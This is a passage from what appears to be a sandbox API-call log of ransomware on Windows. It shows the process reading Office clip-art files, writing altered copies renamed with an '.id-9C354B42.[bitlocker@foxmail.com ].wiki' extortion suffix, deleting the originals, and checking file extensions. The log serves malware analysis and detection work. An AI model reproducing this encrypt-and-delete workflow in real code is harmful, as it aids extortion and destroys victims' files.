| out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.036] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.036] SetEndOfFile (hFile=0x1e4) returned 1 [0193.036] CloseHandle (hObject=0x1e4) returned 1 [0193.036] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.036] SetEndOfFile (hFile=0x1f8) returned 1 [0193.037] CloseHandle (hObject=0x1f8) returned 1 [0193.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0193.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.037] lstrlenW (lpString=".doc") returned 4 [0193.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.037] lstrlenW (lpString=".docx") returned 5 [0193.037] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.037] lstrlenW (lpString=".pdf") returned 4 [0193.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.037] lstrlenW (lpString=".xls") returned 4 [0193.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.037] lstrlenW (lpString=".xlsx") returned 5 [0193.037] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.037] lstrlenW (lpString=".ppt") returned 4 [0193.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.038] lstrlenW (lpString=".zip") returned 4 [0193.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.038] lstrlenW (lpString=".rar") returned 4 [0193.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.038] lstrlenW (lpString=".bz2") returned 4 [0193.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.038] lstrlenW (lpString=".7z") returned 3 [0193.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.038] lstrlenW (lpString=".dbf") returned 4 [0193.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.038] lstrlenW (lpString=".1cd") returned 4 [0193.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.038] lstrlenW (lpString=".jpg") returned 4 [0193.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.038] lstrlenW (lpString=".doc") returned 4 [0193.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.038] lstrlenW (lpString=".docx") returned 5 [0193.038] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.038] lstrlenW (lpString=".pdf") returned 4 [0193.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.038] lstrlenW (lpString=".xls") returned 4 [0193.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.038] lstrlenW (lpString=".xlsx") returned 5 [0193.038] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.039] lstrlenW (lpString=".ppt") returned 4 [0193.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.039] lstrlenW (lpString=".zip") returned 4 [0193.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.039] lstrlenW (lpString=".rar") returned 4 [0193.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.039] lstrlenW (lpString=".bz2") returned 4 [0193.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.039] lstrlenW (lpString=".7z") returned 3 [0193.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.039] lstrlenW (lpString=".dbf") returned 4 [0193.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.039] lstrlenW (lpString=".1cd") returned 4 [0193.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0193.039] lstrlenW (lpString=".jpg") returned 4 [0193.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.039] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.039] lstrlenW (lpString="J0105230.WMF") returned 12 [0193.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.601] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5172) returned 1 [0193.601] CloseHandle (hObject=0x1dc) returned 1 [0193.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 0x20 [0193.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.602] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.602] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0193.602] GetLastError () returned 0x0 [0193.602] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1434, lpOverlapped=0x0) returned 1 [0193.604] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0193.605] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.605] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.605] SetEndOfFile (hFile=0x218) returned 1 [0193.605] CloseHandle (hObject=0x218) returned 1 [0193.605] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.605] SetEndOfFile (hFile=0x1dc) returned 1 [0193.606] CloseHandle (hObject=0x1dc) returned 1 [0193.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0193.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.606] lstrlenW (lpString=".doc") returned 4 [0193.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.606] lstrlenW (lpString=".docx") returned 5 [0193.606] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.606] lstrlenW (lpString=".pdf") returned 4 [0193.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.606] lstrlenW (lpString=".xls") returned 4 [0193.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.606] lstrlenW (lpString=".xlsx") returned 5 [0193.606] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.606] lstrlenW (lpString=".ppt") returned 4 [0193.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.607] lstrlenW (lpString=".zip") returned 4 [0193.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.607] lstrlenW (lpString=".rar") returned 4 [0193.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.607] lstrlenW (lpString=".bz2") returned 4 [0193.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.607] lstrlenW (lpString=".7z") returned 3 [0193.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.607] lstrlenW (lpString=".dbf") returned 4 [0193.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.607] lstrlenW (lpString=".1cd") returned 4 [0193.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.607] lstrlenW (lpString=".jpg") returned 4 [0193.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.607] lstrlenW (lpString=".doc") returned 4 [0193.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.607] lstrlenW (lpString=".docx") returned 5 [0193.607] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.607] lstrlenW (lpString=".pdf") returned 4 [0193.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.607] lstrlenW (lpString=".xls") returned 4 [0193.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.607] lstrlenW (lpString=".xlsx") returned 5 [0193.607] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.607] lstrlenW (lpString=".ppt") returned 4 [0193.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.608] lstrlenW (lpString=".zip") returned 4 [0193.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.608] lstrlenW (lpString=".rar") returned 4 [0193.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.608] lstrlenW (lpString=".bz2") returned 4 [0193.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.608] lstrlenW (lpString=".7z") returned 3 [0193.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.608] lstrlenW (lpString=".dbf") returned 4 [0193.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.608] lstrlenW (lpString=".1cd") returned 4 [0193.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0193.608] lstrlenW (lpString=".jpg") returned 4 [0193.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.608] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.608] lstrlenW (lpString="J0105328.WMF") returned 12 [0193.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.609] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7992) returned 1 [0193.609] CloseHandle (hObject=0x1dc) returned 1 [0193.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 0x20 [0193.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.609] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.609] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0193.610] GetLastError () returned 0x0 [0193.610] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1f38, lpOverlapped=0x0) returned 1 [0193.612] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1f40, lpOverlapped=0x0) returned 1 [0193.613] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.613] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.613] SetEndOfFile (hFile=0x218) returned 1 [0193.613] CloseHandle (hObject=0x218) returned 1 [0193.613] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.613] SetEndOfFile (hFile=0x1dc) returned 1 [0193.614] CloseHandle (hObject=0x1dc) returned 1 [0193.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.615] lstrlenW (lpString=".doc") returned 4 [0193.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.615] lstrlenW (lpString=".docx") returned 5 [0193.615] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.615] lstrlenW (lpString=".pdf") returned 4 [0193.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.615] lstrlenW (lpString=".xls") returned 4 [0193.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.615] lstrlenW (lpString=".xlsx") returned 5 [0193.615] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.615] lstrlenW (lpString=".ppt") returned 4 [0193.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.615] lstrlenW (lpString=".zip") returned 4 [0193.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.615] lstrlenW (lpString=".rar") returned 4 [0193.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.615] lstrlenW (lpString=".bz2") returned 4 [0193.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.615] lstrlenW (lpString=".7z") returned 3 [0193.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.615] lstrlenW (lpString=".dbf") returned 4 [0193.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.615] lstrlenW (lpString=".1cd") returned 4 [0193.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.615] lstrlenW (lpString=".jpg") returned 4 [0193.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.616] lstrlenW (lpString=".doc") returned 4 [0193.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.616] lstrlenW (lpString=".docx") returned 5 [0193.616] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.616] lstrlenW (lpString=".pdf") returned 4 [0193.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.616] lstrlenW (lpString=".xls") returned 4 [0193.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.616] lstrlenW (lpString=".xlsx") returned 5 [0193.616] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.616] lstrlenW (lpString=".ppt") returned 4 [0193.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.616] lstrlenW (lpString=".zip") returned 4 [0193.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.616] lstrlenW (lpString=".rar") returned 4 [0193.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.616] lstrlenW (lpString=".bz2") returned 4 [0193.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.616] lstrlenW (lpString=".7z") returned 3 [0193.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.616] lstrlenW (lpString=".dbf") returned 4 [0193.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.616] lstrlenW (lpString=".1cd") returned 4 [0193.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0193.617] lstrlenW (lpString=".jpg") returned 4 [0193.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.617] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.617] lstrlenW (lpString="J0105332.WMF") returned 12 [0193.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.618] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10508) returned 1 [0193.618] CloseHandle (hObject=0x1dc) returned 1 [0193.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 0x20 [0193.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.618] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.618] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0193.619] GetLastError () returned 0x0 [0193.619] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x290c, lpOverlapped=0x0) returned 1 [0193.621] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2910, lpOverlapped=0x0) returned 1 [0193.622] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.622] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.622] SetEndOfFile (hFile=0x218) returned 1 [0193.622] CloseHandle (hObject=0x218) returned 1 [0193.622] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.622] SetEndOfFile (hFile=0x1dc) returned 1 [0193.623] CloseHandle (hObject=0x1dc) returned 1 [0193.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 